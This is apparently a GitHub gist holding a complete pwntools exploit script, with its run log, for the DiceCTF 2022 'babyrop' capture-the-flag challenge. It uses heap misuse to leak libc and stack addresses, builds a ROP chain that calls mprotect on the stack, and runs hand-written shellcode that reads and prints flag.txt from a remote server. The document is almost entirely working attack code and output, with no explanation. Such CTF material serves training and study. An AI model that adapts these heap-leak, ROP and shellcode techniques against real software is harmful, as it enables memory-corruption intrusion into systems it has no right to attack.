Skip to content

Instantly share code, notes, and snippets.

@soez
Last active February 6, 2022 22:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save soez/bb5d44bad135d355af8c6b0d081eb97f to your computer and use it in GitHub Desktop.
Save soez/bb5d44bad135d355af8c6b0d081eb97f to your computer and use it in GitHub Desktop.
babyrop_DiceCTF-2022
from pwn import *
import binascii
# open-read-write file
filename = "flag.txt"
body = "\x5f" # pop rdi
body += "\x80\x77" + chr(len(filename)) + "\x41" # xor byte [rdi + 11], 0x41 ; 11 = len(/etc/passwd)
body += "\x48\x31\xf6" # xor rsi, rsi
body += "\x48\x31\xc0" # xor rax, rax
body += "\xb0\x02" # mov al, 02
body += "\x0f\x05" # open(2)
body += "\x48\x89\xfe" # mov rsi, rdi
body += "\x48\x89\xc7" # mov rdi, rax
body += "\x48\x31\xd2" # xor rdx, rdx
body += "\x66\xba\x04\x0b" # mov dx, 2820
body += "\x48\x31\xc0" # xor rax, rax
body += "\x0f\x05" # read(0)
body += "\x48\x31\xff" # xor rdi, rdi
body += "\x40\xb7\x01" # mov dil, 01 = fd
body += "\x48\x31\xc0" # xor rax, rax
body += "\xb0\x01" # mov al, 01
body += "\x0f\x05" # write(1)
body += "\x48\x31\xc0" # xor rax, rax
body += "\xb0\x3c" # mov al, 60
body += "\x0f\x05" # exit(0)
body += "\xe8" + p32(0x100000001 - (len(body) + 6))
shellcode = ""
shellcode += "\xeb" + chr(len(body) - 5)
shellcode += body
shellcode += filename + "A"
def menu(c, idx):
io.recvuntil("enter your command: ")
io.send(c)
io.recvuntil("enter your index: ")
io.sendline(str(idx))
def babyrop_create(idx, sz, s):
menu("C", idx)
io.recvuntil("How long is your safe_string: ")
io.sendline(str(sz))
io.recvuntil("enter your string: ")
io.sendline(s)
def babyrop_write(idx, s):
menu("W", idx)
io.recvuntil("enter your string: ")
io.sendline(s)
def babyrop_read(idx, place=False):
menu("R", idx)
io.recvline("hex-encoded bytes\n")
r = "".join(io.recv(0x40).split(" "))
if len(r) % 2 != 0:
r += "0"
return binascii.unhexlify(r)
def babyrop_free(idx):
menu("F", idx)
local = False
libc = ELF("./libc.so.6", checksec = False)
ld = ELF("./ld-linux-x86-64.so.2", checksec = False)
binary = ELF("./babyrop", checksec = False)
env = {"LD_PRELOAD" : libc.path}
io = process(binary.path, env=env) if local else remote("mc.ax", 31245)
io.recvuntil("glibc 2.34\n")
babyrop_create(0, 0x420, "")
babyrop_create(1, 0x420, "")
babyrop_free(0)
babyrop_create(0, 0x420, "")
leak = u64(babyrop_read(0)[:6].ljust(8, '\0'))
libc.address = leak - 0x1f4c0a
environ = libc.sym['environ']
mprotect = libc.sym['mprotect']
log.success("leak libc 0x%08x" % leak)
log.success("base libc 0x%08x" % libc.address)
log.success("environ 0x%08x" % environ)
log.success("mprotect 0x%08x" % mprotect)
for _ in range(9):
babyrop_create(_, 0x28, "")
for _ in range(9):
babyrop_free(_)
babyrop_free(7)
for _ in range(3):
babyrop_create(_, 0x18, "")
babyrop_create(3, 0x18, p64(0x100) + p64(environ))
leak = u64(babyrop_read(7, True)[:6].ljust(8, '\0'))
stack = leak - 0x148
rdi = stack + 0x58
log.success("leak stack 0x%08x" % leak)
log.success("stack 0x%08x" % stack)
log.success("rdi 0x%08x" % rdi)
start = stack & 0xfffffffffffff000
pop_rdi = libc.search("\x5f\xc3").next()
pop_rsi = libc.search("\x5e\xc3").next()
pop_rdx = libc.address + 0xd9c2d
jmp_rdi = libc.search("\xff\xe7").next()
log.success("start stack mprotect 0x%08x" % start)
log.success("pop_rdi 0x%08x" % pop_rdi)
log.success("pop_rsi 0x%08x" % pop_rsi)
log.success("pop_rdx 0x%08x" % pop_rdx)
log.success("jmp_rdi 0x%08x" % jmp_rdi)
babyrop_write(3, p64(0x200) + p64(stack))
babyrop_write(7, p64(0x200) + p64(pop_rdi) + p64(start) + p64(pop_rsi) + p64(0x2000) + p64(pop_rdx) + p64(7) + p64(mprotect) + p64(pop_rdi) + p64(rdi) + p64(jmp_rdi) + shellcode)
menu("E", 0)
print io.recv()
io.close()
'''
[+] Opening connection to mc.ax on port 31245: Done
[+] leak libc 0x7fbd28301c0a
[+] base libc 0x7fbd2810d000
[+] environ 0x7fbd28309ec0
[+] mprotect 0x7fbd28214330
[+] leak stack 0x7ffd0861ce78
[+] stack 0x7ffd0861cd30
[+] rdi 0x7ffd0861cd88
[+] start stack mprotect 0x7ffd0861c000
[+] pop_rdi 0x7fbd2813a7dd
[+] pop_rsi 0x7fbd2813bef9
[+] pop_rdx 0x7fbd281e6c2d
[+] jmp_rdi 0x7fbd2814c1d9
dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}4(\xbd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x11\x00\x00\x00��\x00\x00\x00\x00\x00\x00\x00A\x11\x00\x00\x00��\x00\x00\x00\x00\x00\x00\x00��\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00p�\x00\x00\x00\xff��\x00\x06\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P1(\xbd\x7f\x0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00���\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00���\x00\x00\x00���\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe��*D\xb3�mc��-\xa1Px86_64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
[*] Closed connection to mc.ax port 31245
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment